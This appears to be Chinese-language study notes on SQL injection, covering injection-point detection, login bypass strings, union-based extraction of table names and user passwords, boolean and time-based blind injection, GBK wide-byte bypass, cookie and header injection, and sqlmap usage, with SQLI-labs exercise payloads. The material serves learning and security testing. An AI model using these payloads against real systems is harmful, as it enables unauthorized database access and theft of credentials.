SQL注入

原理与分类

原理

在 OWASP 发布的 top 10 漏洞里,注入漏洞一直是危害排名第一的,数据库注入漏洞是危害最大也是最受关注的漏洞。SQL 注入是指攻击者通过往原有的 SQL 语句中注入恶意的 SQL 命令,破坏原有语句结构,通过执行这些恶意语句欺骗数据库执行,导致数据库信息泄漏,其危害是巨大的,常常会导致整个数据库被脱库。

分类

按参数类型分

按注入方式分

按 HTTP 请求方式分

注入攻击流程

判断注入点

需要后台提交给数据库处理的点,所有的输入只要和数据库进行交互的,都有可能是 SQL 注入点。

一般分为三大类: GET 参数触发、 POST 参数触发 、Cookie 触发

如:在常规链接的参数 (链接?参数,?id=num) 中,搜索框。

检验是否存在注入点的方法有很多种,最常规的是使用 ' 判断。

http://host/test.php?id=1'  # 返回错误则可能有注入
http://host/test.php?id=1 and 1=1  # 返回正常
http://host/test.php?id=1 and 1=2  # 返回错误

满足以上三点,是注入点的可能性机构。

判断注入类型

数字型注入点

http://host/xxx.php?id=1'             # 语句报错
http://host/xxx.php?id=1 and 1=1      # 返回成功
http://host/xxx.php?id=1 and 1=2      # 返回错误

假设 SQL 语句为: select * from users where id=$id

$id 由用户提交,用户提交的 1 and 1=1 查询语句就成了 select * from users where id=1 and 1=1and 的逻辑是只要有一个不成了就返回失败,所有当提交 1 and 1=2 查询语句就成了 select * from users where id=1 and 1=2 ,由于 1=2 不成立,所有查询返回为错误。

数字型注入一般出现在 aspphp 等弱类型语言中,弱类型语言会自动判断变量的类型,如 id=1 php 会自动把 id 的数据判断为 int 类型,id=1 and 1=1 则被判断为 string 类型。而对于 javaC# 这类强类型语言,若将字符串转换为 int 类型,则会抛出异常,无法运行,所以数字型注入;一般出现在弱类型的语言中,强类型语言很少存在。

字符型注入点

http://host/xxx.php?name=man'             	# 语句报错
http://host/xxx.php?name=man' and '1'='1     # 正常返回结果
http://host/xxx.php?name=man' and '1'='2     # 返回错误
# 也可使用
http://host/xxx.php?name=man' and 'a'='a     # 页面正常返回结果
http://host/xxx.php?name=man' and 'a'='b     # 页面返回错误

假设 SQL 语句: select * from users where name='$name';

输入 man' and '1'='1 语句为 select * from users where name='man' and '1'='1'

搜索型注入点(常见)

http://host/xxx.php?keyword=a%' and 1=1 and '%'='  # 正常
http://host/xxx.php?keyword=a%' and 1=2 and '%'='  # 错误

假设 SQL 语句为: select * from users where keyword like '%keyword%'

输入 a% and 1=1 and '%'=' 语句为 select * from users where keyword like 'a' and 1=1 and '%'='%'

内联式 SQL 注入(常用)

假设 SQL 语句为: select * from admin wher username='$name' and password ='$passwd'

若从登录框的 username 构造提交, usernamepassword' or ''='fuzz(随便输入) ,SQL 语句就为 select * from admin wher username='' or ''='' and password ='fuzz'

若从登录框的 password 构造提交, usernamepasswordfuzz(随便输入) 、 ' or ''=' SQL 语句就为 select * from admin wher username='fuzz' and password='' or ''=''

在 SQL 语句中 and 的优先级大于 or ,显计算 and 然后 or ,所有语句可被 or 分为两段 SQL 语句。

因此从 username 构造的语句成了:

select * from admin wher username=''
or
''='' and password ='fuzz'

数据库中 username 不存在 null 字段,所有第一句 返回失败 ,而第三句中 password 是随意输入的,极大可能不会撞到这个密码,一样为失败,所有整个语句返回为失败。

password 构造的语句成了:

select * from admin wher username=''
or
''=''

第一句返回是失败,但而 ''='' 成立,是返回成功的, or 的逻辑就是只要有一个成功就返回成功,所有整个语句返回成功。返回成功后就会绕过登录表单直接登录系统。

终止式(注释) SQL 注入(常用)

终止式 SQL 语句注入是在注入 SQL 代码中通过注释后面的查询来成功结束该语句

假设 SQL 语句为: select * from admin wher username='$name' and password ='$passwd'

username 构造 ' or ''='' -- 其 SQL 语句就成了: select * from admin wher username='' --' and password ='fuzz'fuzz 是随意输入的, -- 是注释符。

通过这样语句成了三部分

select * from admin wher username=''
or ''=''
--' and password ='fuzz'

第一句返回是失败,但第二句会返回成功,而第三句被注释了,不会被执行,从而绕过了登录。

终止(注释)字符串: --#%23%00/*

终止(注释)方法: --'--')--)--'))--))--

判断数据库类型

可通过常见网站架构来判断数据库的类型

asp + access
asp + mysql
asp.net + mysql
php + mysql
jsp + oracle
jsp + mysql

具体采用了什么架构,可通过扫描工具或网站默认错误信息等获得。

获取数据库数据,提权

找到注入点后,要获取数据库的内容,最直接的方法是使用 union 联合注入。

union 是数据库管理员经常使用且可以掌控的运算符之一,可用它来连接两条或多条 select 语句的查询。

通过 union 运算符,可添加另一个任意查询,获取数据库用户有权访问的任意表

select colum1,colum2,colum3,...columN from table1
union
select colum1,colum2,colum3,...columN from table2

union 获取数据规则

通常只有终止式注入时,可较快猜解并利用,否则要知道原始的 SQL 语句才比较方便利用。

确定列数

union select null,null,null,...,null from dual

逐步增加 null 数量,直到匹配原始语句的列数,成功放回正常页面。

也可用 order by num 确定原语句列数(num),使用折半查找法提高猜测效率。

确定列类型

union select 1,'2',null,...,null from dual

猜测第一列为数字,若返回结果不正确,则判断为字符型,如果还不正确则可能是二进制类型保持 null 继续猜测其他列。

获取数据信息

union select 1,group_concat(table_name) from information_schema.tables where table_schena=database() # 查询当前数据库中的表名

union select 1,group_concat(column_name)from information_schema.columns where table_name='users' # 查询 users 表中字段

union select group_concat(user_id,first_name,last_name),group_concat(password)from users # 查询成功将 users 表中所有用户的 users_id,first_name,last_name,password 数据

group_concat()  # 该函数将 group by 产生的同一个分组中的值连接起来,返回一个字符串结果。

information_schema #这个数据库中保存了 MySQL 所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。

information_schema 的表 schemata 中的列 schema_name 记录了所有的数据库名
information_schema 的表 tables 中的列 table_schema 记录了所有的数据库名
information_schema 的表 tables 中的列 table_name 记录了所有数据库的表名
information_schema 的表 columns 中的列 table_schema 记录了所有的数据库名
information_schema 的表 columns 中的列 table_name 记录了所有数据库的表名
information_schema 的表 columns 中的列 column_name 记录了所有数据库的表的列名

union 不适合的地方

盲注

GET 类型的盲注

需要用到的函数

length() 返回字符串长度
substr(a,1,1) 截取字符串a的第1字符起取1个字符
ascii() 返回字符的ascii码
sleep(n) 将程序挂起n秒
if(expr1,expr2,expr3) 判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句

ASCII 码值参考

字符 ASCII码(十进制) 字符 ASCII码(十进制)
a 97 z 122
A 65 Z 90
0 48 9 57
_ 95 @ 64

基于布尔的盲注

布尔盲注只会根据注入信息返回 truefales 没有报错信息,可通过函数来判断

通过 length 函数判断数据库名的长度

http://host/xxx.php?id=1' and (length(database()))>10 --+ # 返回错误说明长度小于10
http://host/xxx.php?id=1' and (length(database()))>5 --+ # 返回正确说明长度大于5小于10
http://host/xxx.php?id=1' and (length(database()))=8 --+ # 返回正确说明长度为8

知道了长度,但不知道具体内容,可通过 substr 函数和ascii 函数构造猜测数据库名的 ascii 码的值的语句

http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))>100 --+ # 返回正确,说明第一个字母的ascii码大于100
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))>110 --+ # 返回正确
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))<120 --+ # 返回正确
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))<115 --+ # 返回错误
http://host/xxx.php?id=1' and (ascii(substr(database(),1,1)))=115 --+ # 返回正确

通过查 ascii 表可知 ascii(115)=s 所有数据库名的第一个字母为 s ,同理可依次猜测出其他字符。

同理可通过一个一个的猜测将表名猜解出俩。

手工盲注很繁琐,需要一个一个的试,前期要学习手工理解其原理然后再去用工具比较好。

基于时间的注入

返回只有 true 无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过返回的时间差判断注入的语句是否正确。

http://host/xxx.php?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null))  --+  # 若正确执行了则页面将停顿10秒,若执行错误则会立马返回,通过此法配合其他函数依次猜解出需要的信息。

POST 类型的盲注

post 类型的布尔盲注只是将 and 换成 or 其他不变

post 类型的时间盲注中 sleep 函数的时间会被延长很长,但不影响进行测试,只是需要更长的时间。

WAF 绕过

Sql注入绕过姿势

SQL注入绕过过滤总结

注入点判断

?id=2

id +1/-1 页面样式未改变,只是文字内容改变,说明可能存在数据库查询,看使用联合查询,若没有看有无数据库报错信息,有报错为报错注入,看是否有回显示变化,判断是否为布尔注入,若无布尔变化,使用延时函数,判断是否有延时注入

口诀

构造 :

?id=2 order by 1 --+
?id=2' --+
and sleep(5)
select u from u where id = 1
select u from u where id = '1'
select u from u where id = "1"

判断:

# 判断表的列数
id=2 order by 15
id=2 union select null,null,null,null,null,null,null,null
?id=2 union select 1,2,3,4,5 --+

字符注入 --> 添加闭合后使得原有语句多了一个后闭合符号,导致出现错误,所以报错中会显示出错闭合符号
数字注入 --> 添加闭合后

# 报错中回显了 2 ,回显中含闭合符号
?id=2'

# 报错中不包含 2
?id=2'
# 延时型
and sleep(5)

联合查询

由于数据库中的内容会回显到页面中来,所以可以采用联合查询进行注入
联合查询语句: union select ... ,该语句会同时执行两条 select 语句,生成两张虚拟表,由于虚拟表示二维结构,联合查询会纵向拼接两张虚拟表。

可以实现夸库夸表查询

?id=2 and 1=2 union select 1,2,3,4,5,6,7,8 --+
?id=-2 union select 1,2,3,4,5,6,7,8 --+

37 会回显在页面中,表明 37 处可被利用

报错注入

在注入的的判断过程中,发现数据库SQL语句的报错信息会显示在页面中,因此可使用报错注入。报错注入的原理是在错误信息中执行 SQL 语句。

布尔盲注

利用页面返回的布尔状态,正常或不正常来判断。

延时盲注

利用 sleep() 语句的延时性,以时间线作为判断标准。

可使用浏览器的检查功能中的网络查看时间线

?id=2 and sleep(5)

sqlmap

POST 注入

使用 Burp 抓取到 post 数据包 ,将内容保存到 post.txt

sqlmap -r post.txt
n # Do you want to follow ? 是否追踪,不追踪

其他注入

利用注入漏洞读写文件

前提条件:

  1. secure-file-priv 允许导入导出操作通过修改 my.ini 后重启生效,可在 phpmyadmin 中看到该变量
  1. 当前用户具有文件权限
  1. 知道写入目录文件的绝对路径

宽字节注入

宽字节注入,不是注入手法,而是一种比较特殊的情况,在使用 ?id=2' 进行测试时,发现提交的单引号别转义了 \' 。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询,即构造的 SQL 语句将不再影响原有语句。

当网页连接数据库使用的字符编码被设置成 GBK 编码集,即可使用宽字节进行注入绕过。
GBK 编码采用的是双字节编码方案,编码范围是 8140-FEFE 包含汉字和图形符号工21886个,转义字符 \ 的编码是 5c 正好在GBK 的编码范围内,这时可提交一个十六进制编码的字符与 5c 组成 GBK 编码中的文字,这样 SQL 语句在传入数据库时,转义字符 5c (\)就会被吃掉失去转义的作用。

如 : ?id=2%df' union select 1,2,3 --+ 其中的 df 会和 5c 组合成 GBK 编码中的 0xdf5c

SQLI-labs 第 32 关

payload : ?id=1%df' and 1=2 union select 1,version(),3 --+

注入参数通过 Cookie 提交,可在浏览器控制台通过 document.cookie 完成对 Cookie 的读写。Cookie 中不可用 --+ 来注释,--+ 中的 + 在URL 中 代表空格 ,在 Cookie 中不可被转换,只可使用 # 来做注释

SQLI-labs 第 20 关

在控制台输入 document.cookie="uname=Dumb' and extractvalue(1,concat(0x73,database(),0x7e))#" ,刷新页面

也可使用 Burp 来直接修改提交的 Cookie 信息,使用 Repeater 重放

base64 注入

将注入字段进过 base64 编码

SQLI-labs 第 22 关

payload :

HTTP 头部

在http头部的字段中提交的注入,通常在 User-AgentReferer

使用注释语句会报错时,考虑构造相应的闭合语句构造正确不报错的语句

自动化注入

半自动化注入

全自动化注入